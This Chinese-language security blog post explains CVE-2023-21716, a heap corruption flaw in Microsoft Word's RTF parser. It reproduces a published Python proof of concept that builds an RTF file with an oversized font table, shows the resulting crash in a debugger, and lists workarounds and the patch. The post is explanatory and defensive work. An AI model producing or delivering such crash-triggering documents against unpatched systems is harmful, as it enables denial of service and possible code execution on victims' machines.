漏洞介绍&&POC
CVE-2023-21716 是去年发现的。它是Microsoft Office中一个严重的远程代码执行(RCE)漏洞,CVSS得分为9.8。安全研究员约书亚·德雷克(Joshua Drake)向微软报告了该漏洞以及技术咨询和概念验证(PoC)漏洞利用代码。据研究人员称,CVE-2023-21716漏洞源于Microsoft Word RTF解析器中的堆损坏问题,该问题是在处理包含过多字体的字体表时触发的。该问题已在 2 月补丁星期二中得到解决,因此现在研究人员在推特提供了 python版本的PoC:
# PoC for: # Microsoft Word RTF Font Table Heap Corruption Vulnerability # # by Joshua J. Drake (@jduck) # import sys # allow overriding the number of fonts num = 32761 if len(sys.argv) > 1: num = int(sys.argv[1]) f = open("tezt.rtf", "wb") f.write(b"{\\rtf1{\n{\\fonttbl") for i in range(num): f.write(b"{\\f%dA;}\n" % i) f.write(b"}\n") f.write(b"{\\rtlch it didn't crash?? no calc?! BOO!!!}\n") f.write(b"}}\n") f.close()
漏洞复现
1、使用poc生成rtf文件,用wps打开是这样:
2、使用windbg载入word可执行文件并开始debugging
3、word打开生成的rtf文件,出现崩溃
调试器提示堆栈缓冲区溢出,我们查看堆栈跟踪,崩溃于wwlib库,此库是office负责解析rtf格式的库。
打开正常的rtf文件
显示正常,且调试器没有出现异常
漏洞修复建议
微软提出了两种可能的解决方法。虽然一种解决方法是以纯文本形式阅读电子邮件,但这可能会很不方便,因为它会限制显示的内容。另一种选择是使用 Microsoft Office 文件阻止策略,该策略限制从不受信任的来源打开 RTF 文档,但需要更改 Windows 注册表。如果未正确执行,此方法可能会导致问题,例如重新安装操作系统。如果未指定豁免目录,用户也无法打开任何 RTF 文档的可能性也存在。因此,解决此漏洞的最安全方法是安装 Microsoft 提供的安全更新。
参考:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21716
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论